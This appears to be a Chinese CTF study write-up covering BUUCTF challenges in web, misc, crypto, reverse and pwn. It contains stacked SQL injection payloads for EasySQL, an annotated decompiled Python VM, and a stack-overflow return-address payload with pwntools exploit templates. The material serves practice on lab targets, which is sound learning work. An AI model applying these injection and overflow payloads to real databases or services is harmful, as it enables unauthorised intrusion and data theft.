题解
web(堆叠注入):[SUCTF 2019]EasySQL
参考wp:BUUCTF [SUCTF 2019]EasySQL1 writeup(详细版)-CSDN博客
判断:
法一:
打开环境,有一个可交互的界面,随便输入几个字母,对界面无影响
CTRL+U查看一下源代码,传参类型为post,方式为query
输入1,0,1',1'#,在输入1的时候有回显,其他时候均不变,所以尝试堆叠注入
法二:
通过判断哪些字符被过滤来判断是何种注入方式
首先用bp抓包,右键send to intruder,输入关键字字典爆破
字段长度为560的都被过滤了
以下字符都被过滤:
prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|
看来报错注入,union联合注入,盲注都不太行,所以尝试堆叠注入
开始注入
爆库
1; show databases;
爆表
1;show tables;
爆字段
1;show columns from 1;
1;show * from 1;
啊哦~ 看来是有字段被禁用了
后面看了大佬们的wp,有两种做法
法一:使用 sql_mode 中的 PIPES_AS_CONCAT 函数
通过前面两种回显:输入0无回显,输入1~9返回Array ( [0] => 1 ),可将1视为true,无回显视为false可判断,后端应该使用的是逻辑或,即条件为真进行回显或条件不满足返回空白
或:一侧为1则取1,否则取0
MySQL中||操作符:表示连接操作符,不表示或的逻辑
思路:使用使用 sql_mode 中的 PIPES_AS_CONCAT 函数把||的或的逻辑改成连接符的作用
通过题目的提示也可猜测是或的逻辑关系,即后端拼接:从网页获取的内容||真正的flag的内容
select $post['query'] || flag
所以我们需要将或逻辑改为与 ,也就是先查询1,再查询flag
思路:先查询1,把||转换为连接操作符,由于分号隔断了前面的命令,所以要再次添加select来进行查询
1;set sql_mode=PIPES_AS_CONCAT;select 1
法二:
有大佬判断出了后端
select post['query'] || flag from Flag
构建payload:
*,1
输入*,1,就相当于构造了select*,1|| flag from Flag
由于1||flag是个短路算法,直接输出1,所以这条语句执行起来相当于select*,1 from Flag
其中可分为两部分:
1.select*from Flag
2.select 1 || flag from Flag
select*from Flag通过查看表Flag中的所有数据可得到flag
misc:buuctf被劫持的神秘礼物
下载数据包,一眼就感觉这post请求相当显眼
追踪HTTP流
MD5加密
crypto:信息化时代的步伐
题目中有“答案为一串中文” ,猜测是中文电码,直接转换即可,没动什么脑子,感觉就是积累经验
reverse:[watevrCTF 2019]Repyc
打开是两个.pyc文件,用在线工具解密
第一个是一堆乱码,不过也恰恰提示了这是python虚拟机,乱码可以用replace进行替换
uncompyle6 version 3.7.4
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.7.8 (tags/v3.7.8:4b47a5b6ba, Jun 28 2020, 08:53:46) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: circ.py
# Compiled at: 2019-12-14 02:29:55
# Size of source mod 2**32: 5146 bytes
佤 = 0
侰 = ~佤 * ~佤
俴 = 侰 + 侰
def 䯂(䵦):
굴 = 佤
굿 = 佤
괠 = [佤] * 俴 ** (俴 * 俴)
궓 = [佤] * 100
괣 = []
while 䵦[굴][佤] != '듃':
굸 = 䵦[굴][佤].lower()
亀 = 䵦[굴][侰:]
if 굸 == '뉃':
괠[亀[佤]] = 괠[亀[侰]] + 괠[亀[俴]]
else:
if 굸 == '렀':
괠[亀[佤]] = 괠[亀[侰]] ^ 괠[亀[俴]]
else:
if 굸 == '렳':
괠[亀[佤]] = 괠[亀[侰]] - 괠[亀[俴]]
else:
if 굸 == '냃':
괠[亀[佤]] = 괠[亀[侰]] * 괠[亀[俴]]
else:
if 굸 == '뢯':
괠[亀[佤]] = 괠[亀[侰]] / 괠[亀[俴]]
else:
if 굸 == '륇':
괠[亀[佤]] = 괠[亀[侰]] & 괠[亀[俴]]
else:
if 굸 == '맳':
괠[亀[佤]] = 괠[亀[侰]] | 괠[亀[俴]]
else:
if 굸 == '괡':
괠[亀[佤]] = 괠[亀[佤]]
else:
if 굸 == '뫇':
괠[亀[佤]] = 괠[亀[侰]]
else:
if 굸 == '꼖':
괠[亀[佤]] = 亀[侰]
else:
if 굸 == '뫻':
궓[亀[佤]] = 괠[亀[侰]]
else:
if 굸 == '딓':
괠[亀[佤]] = 궓[亀[侰]]
else:
if 굸 == '댒':
괠[亀[佤]] = 佤
else:
if 굸 == '묇':
궓[亀[佤]] = 佤
else:
if 굸 == '묟':
괠[亀[佤]] = input(괠[亀[侰]])
else:
if 굸 == '꽺':
궓[亀[佤]] = input(괠[亀[侰]])
else:
if 굸 == '돯':
print(괠[亀[佤]])
else:
if 굸 == '뭗':
print(궓[亀[佤]])
else:
if 굸 == '뭿':
굴 = 괠[亀[佤]]
else:
if 굸 == '뮓':
굴 = 궓[亀[佤]]
else:
if 굸 == '뮳':
굴 = 괣.pop()
else:
if 굸 == '믃':
if 괠[亀[侰]] > 괠[亀[俴]]:
굴 = 亀[佤]
괣.append(굴)
continue
else:
if 굸 == '꽲':
괠[7] = 佤
for i in range(len(괠[亀[佤]])):
if 괠[亀[佤]] != 괠[亀[侰]]:
괠[7] = 侰
굴 = 괠[亀[俴]]
괣.append(굴)
else:
if 굸 == '꾮':
괢 = ''
for i in range(len(괠[亀[佤]])):
괢 += chr(ord(괠[亀[佤]][i]) ^ 괠[亀[侰]])
괠[亀[佤]] = 괢
else:
if 굸 == '꿚':
괢 = ''
for i in range(len(괠[亀[佤]])):
괢 += chr(ord(괠[亀[佤]][i]) - 괠[亀[侰]])
괠[亀[佤]] = 괢
else:
if 굸 == '떇':
if 괠[亀[侰]] > 괠[亀[俴]]:
굴 = 괠[亀[佤]]
괣.append(굴)
continue
else:
if 굸 == '뗋':
if 괠[亀[侰]] > 괠[亀[俴]]:
굴 = 궓[亀[佤]]
괣.append(굴)
continue
else:
if 굸 == '똷':
if 괠[亀[侰]] == 괠[亀[俴]]:
굴 = 亀[佤]
괣.append(굴)
continue
else:
if 굸 == '뚫':
if 괠[亀[侰]] == 괠[亀[俴]]:
굴 = 괠[亀[佤]]
괣.append(굴)
continue
else:
if 굸 == '띇':
if 괠[亀[侰]] == 괠[亀[俴]]:
굴 = 궓[亀[佤]]
괣.append(굴)
continue
굴 += 侰
䯂([
[ '꼖', 佤, 'Authentication token: '],
[ '꽺', 佤, 佤],
[ '꼖', 6, 'á×äÓâæíäàßåÉÛãåäÉÖÓÉäàÓÉÖÓåäÉÓÚÕæïèäßÙÚÉÛÓäàÙÔÉÓâæÉàÓÚÕÓÒÙæäàÉäàßåÉßåÉäàÓÉÚÓáÉ·Ôâ×ÚÕÓÔɳÚÕæïèäßÙÚÉÅä×ÚÔ×æÔÉ×Úïá×ïåÉßÉÔÙÚäÉæÓ×ÜÜïÉà×âÓÉ×ÉÑÙÙÔÉâßÔÉÖãäÉßÉæÓ×ÜÜïÉÓÚÞÙïÉäàßåÉåÙÚÑÉßÉàÙèÓÉïÙãÉáßÜÜÉÓÚÞÙïÉßäÉ×åáÓÜÜ\x97ÉïÙãäãÖÓ\x9aÕÙÛ\x99á×äÕà©â«³£ï²ÕÔÈ·±â¨ë'],
[ '꼖', 俴, 俴 ** (3 * 俴 + 侰) - 俴 ** (俴 + 侰)],
[ '꼖', 4, 15],
[ '꼖', 3, 侰],
[ '냃', 俴, 俴, 3],
[ '뉃', 俴, 俴, 4],
[ '괡', 佤, 俴],
[ '댒', 3],
[ '꾮', 6, 3],
[ '꼖', 佤, 'Thanks.'],
[ '꼖', 侰, 'Authorizing access...'],
[ '돯', 佤],
[ '딓', 佤, 佤],
[ '꾮', 佤, 俴],
[ '꿚', 佤, 4],
[ '꼖', 5, 19],
[ '꽲', 佤, 6, 5],
[ '돯', 侰],
[ '듃'],
[ '꼖', 侰, 'Access denied!'],
[ '돯', 侰],
[ '듃']])
替换一下字符,方便阅读
# uncompyle6 version 3.7.4
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.7.8 (tags/v3.7.8:4b47a5b6ba, Jun 28 2020, 08:53:46) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: circ.py
# Compiled at: 2019-12-14 02:29:55
# Size of source mod 2**32: 5146 bytes
a = 0
b = ~a * ~a #b=1
c = b + b #c=2
def fun(x):
t = a
t2 = a
m = [a] * c ** (c * c)
key1 = [a] * 100
key2 = []
while x[t][a] != 'NULL':
x1 = x[t][a].lower()
x2 = x[t][b:]
if x1 == 'ADD':
m[x2[a]] = m[x2[b]] + m[x2[c]]
else:
if x1 == 'XOR':
m[x2[a]] = m[x2[b]] ^ m[x2[c]]
else:
if x1 == 'SUB':
m[x2[a]] = m[x2[b]] - m[x2[c]]
else:
if x1 == 'X':
m[x2[a]] = m[x2[b]] * m[x2[c]]
else:
if x1 == '/':
m[x2[a]] = m[x2[b]] / m[x2[c]]
else:
if x1 == '&':
m[x2[a]] = m[x2[b]] & m[x2[c]]
else:
if x1 == '|':
m[x2[a]] = m[x2[b]] | m[x2[c]]
else:
if x1 == 'mov':
m[x2[a]] = m[x2[a]]
else:
if x1 == 'mov1':
m[x2[a]] = m[x2[b]]
else:
if x1 == 'mov2':
m[x2[a]] = x2[b]
else:
if x1 == 'mov3':
key1[x2[a]] = m[x2[b]]
else:
if x1 == 'mov4':
m[x2[a]] = key1[x2[b]]
else:
if x1 == 'mov5':
m[x2[a]] = a
else:
if x1 == 'mov6':
key1[x2[a]] = a
else:
if x1 == 'input1':
m[x2[a]] = input(m[x2[b]])
else:
if x1 == 'input2':
key1[x2[a]] = input(m[x2[b]])
else:
if x1 == 'print1':
print(m[x2[a]])
else:
if x1 == 'print2':
print(key1[x2[a]])
else:
if x1 == 'mov7':
t = m[x2[a]]
else:
if x1 == 'mov8':
t = key1[x2[a]]
else:
if x1 == 'POP':
t = key2.pop()
else:
if x1 == 'mov9':
if m[x2[b]] > m[x2[c]]:
t = x2[a]
key2.append(t)
continue
else:
if x1 == 'cmp':
m[7] = a
for i in range(len(m[x2[a]])):
if m[x2[a]] != m[x2[b]]:
m[7] = b
t = m[x2[c]]
key2.append(t)
else:
if x1 == 'for XOR':
flag = ''
for i in range(len(m[x2[a]])):
flag += chr(ord(m[x2[a]][i]) ^ m[x2[b]])
m[x2[a]] = flag
else:
if x1 == 'for SUB':
flag = ''
for i in range(len(m[x2[a]])):
flag += chr(ord(m[x2[a]][i]) - m[x2[b]])
m[x2[a]] = flag
else:
if x1 == 'mov10':
if m[x2[b]] > m[x2[c]]:
t = m[x2[a]]
key2.append(t)
continue
else:
if x1 == 'mov11':
if m[x2[b]] > m[x2[c]]:
t = key1[x2[a]]
key2.append(t)
continue
else:
if x1 == 'cmp1':
if m[x2[b]] == m[x2[c]]:
t = x2[a]
key2.append(t)
continue
else:
if x1 == 'cmp2':
if m[x2[b]] == m[x2[c]]:
t = m[x2[a]]
key2.append(t)
continue
else:
if x1 == 'cmp3':
if m[x2[b]] == m[x2[c]]:
t = key1[x2[a]]
key2.append(t)
continue
t += b
fun([
[#m[0]=="Authentication token: "
'mov2', a, 'Authentication token: '],
[#key1[0]=="答案"
'input2', a, a],
[#m[6]=="á×äÓâæíäàßåÉÛãåäÉÖÓÉäà......."
'mov2', 6, 'á×äÓâæíäàßåÉÛãåäÉÖÓÉäàÓÉÖÓåäÉÓÚÕæïèäßÙÚÉÛÓäàÙÔÉÓâæÉàÓÚÕÓÒÙæäàÉäàßåÉßåÉäàÓÉÚÓáÉ·Ôâ×ÚÕÓÔɳÚÕæïèäßÙÚÉÅä×ÚÔ×æÔÉ×Úïá×ïåÉßÉÔÙÚäÉæÓ×ÜÜïÉà×âÓÉ×ÉÑÙÙÔÉâßÔÉÖãäÉßÉæÓ×ÜÜïÉÓÚÞÙïÉäàßåÉåÙÚÑÉßÉàÙèÓÉïÙãÉáßÜÜÉÓÚÞÙïÉßäÉ×åáÓÜÜ\x97ÉïÙãäãÖÓ\x9aÕÙÛ\x99á×äÕà©â«³£ï²ÕÔÈ·±â¨ë'],
[#m[2]==2**(3*2+1)-2**(2+1)==120
'mov2', c, c ** (3 * c + b) - c ** (c + b)],
[#m[4]==15
'mov2', 4, 15],
[#m[3]==1
'mov2', 3, b],
[#m[2]==m[2]*m[3]==120
'X', c, c, 3],
[#m[2]==m[2]+m[4]==135
'ADD', c, c, 4],
[#m[0]==m[0]
'mov', a, c],
[#m[3]==0
'mov5', 3],
[#m[6]==m[6]^m[3]
'for XOR', 6, 3],
[#m[0]=="Thanks."
'mov2', a, 'Thanks.'],
[#m[1]=="Authorizing access..."
'mov2', b, 'Authorizing access...'],
[#print("Thanks.")
'print1', a],
[#m[0]==key1[0]
'mov4', a, a],
[#m[0]==m[0]^m[2]
'for XOR', a, c],
[#m[0]==m[0]-m[4]
'for SUB', a, 4],
[#m[5]==19
'mov2', 5, 19],
[#m[0]!=a[6]
'cmp', a, 6, 5],
[#print("Authorizing access...")
'print1', b],
[
'NULL'],
[#m[1]=="Access denied!"
'mov2', b, 'Access denied!'],
[#print("Access denied!")
'print1', b],
[
'NULL']])
补充一点有关python虚拟机的知识点,x是栈,m和o是寄存器,y和t是存储空间
整体思路:输入一个字符串,与135异或,再减去15,得到那一堆类似于俄文的东西
再逆向思维写个脚本
太长了,一开始都没看出来这是个flag(汗颜)
pwn:buuctf-rip
拿到题目,照例放进exeinfope里看看,.elf文件,64字节
丢进ida64看看,直奔main函数,一来就看到了亲爱的gets函数,点进去看看
双击s看看栈,有15字节的存储空间,还需要8个自己把rbp填满,所以是15+8=23个字节
接下来再找找system函数,在fun函数里
查看一下fun函数的位置,0x401186,所以payload=‘a’ * 15 + p64(0x401186)
思路:利用gets函数获取一个长字符串覆盖rip来控制程序流到fun()函数
知识点
web
1.堆叠注入:
将多条SQL语句放在一起,并用分号分开,分号后输入的就是一个全新的SQL语句了。可以无限制的使用增删查改
触发条件:目标存在SQL注入漏洞,未过滤“;”且存在如mysqli_multi_query()等支持同时执行多条SQL语句的函数
函数语法:
mysqli_multi_query(connection,query)
connection:规定要使用的MySQL连接
query:规定一个或多个查询,用分号进行分隔
2.select语句的作用:
从数据库中选取数据,返回的数据会存储在结果表中
SQL注入攻击详解与防御策略-CSDN博客
3.非预期漏洞:
利用数据库对符号判断的不准确形成的漏洞
crypto
中文电码表:
采用四位阿拉伯数字作代号,从0001到9999按四位数顺序排列,用四位数字表示最多一万个汉字、字母和符号。汉字先按部首,后按笔划排列。字母和符号放到电码表的最尾。
reverse
.pyc文件解密法二:用uncompyle6模块解密
安装uncompyle6,win+R输入cmd,再输入以下命令
pip install uncompyle6
需要调用时直接输入uncompyle6+文件路径即可,像我这里输入的就是
uncompyle 6 C:\Users\aran\Desktop\rubbish\3nohtyp.pyc
pwn
栈溢出相关脚本模板:
from pwn import * #引入pwn库
p = remote(ip, port) # 输入对应的ip地址和端口号来连接其他主机的服务
... # 输入payload来进行操作以拿到程序的shell payload一般等于 偏移量 + 地址
p.sendline()#括号内一般是payload
p.interactive() # 反弹shell
上面这个有点简略,我又去找GPT搞了一个,但是第二条语句我目前还没用到过
from pwn import *
# 设置目标二进制文件的路径
binary_path = './vulnerable_binary'
# 创建一个上下文,指定目标架构和操作系统
context(arch='amd64', os='linux') # 根据实际情况修改架构和操作系统
# 加载目标二进制文件
p = process(binary_path) # 或者使用 remote('host', port) 连接远程服务
# 构造payload
# 这里我们假设已经知道了栈溢出的偏移量和返回地址的覆盖位置
# 'A' * offset 是为了填充到返回地址之前的部分
# p64(target_address) 是将返回地址覆盖为目标函数的地址(通常是一个shellcode的地址或ROP链的起始地址)
offset = 136 # 这是一个假设的偏移量,实际情况需要通过调试获得
target_address = 0xdeadbeef # 这是一个假设的目标地址,实际情况需要是shellcode的地址或ROPgadget的地址
照这两天做题的情况来看,以上数据都是需要将附件拖进ida中反编译得到
payload = 'A' * offset + p64(target_address)
# 发送payload
p.sendline(payload)
# 等待shell(如果payload成功执行了shellcode或ROP链)
p.interactive()
前两天做过的栈溢出相关题的脚本,对应着复习一下
1
2.这题比起另外两题多了一个创建上下文和指定操作系统的过程
3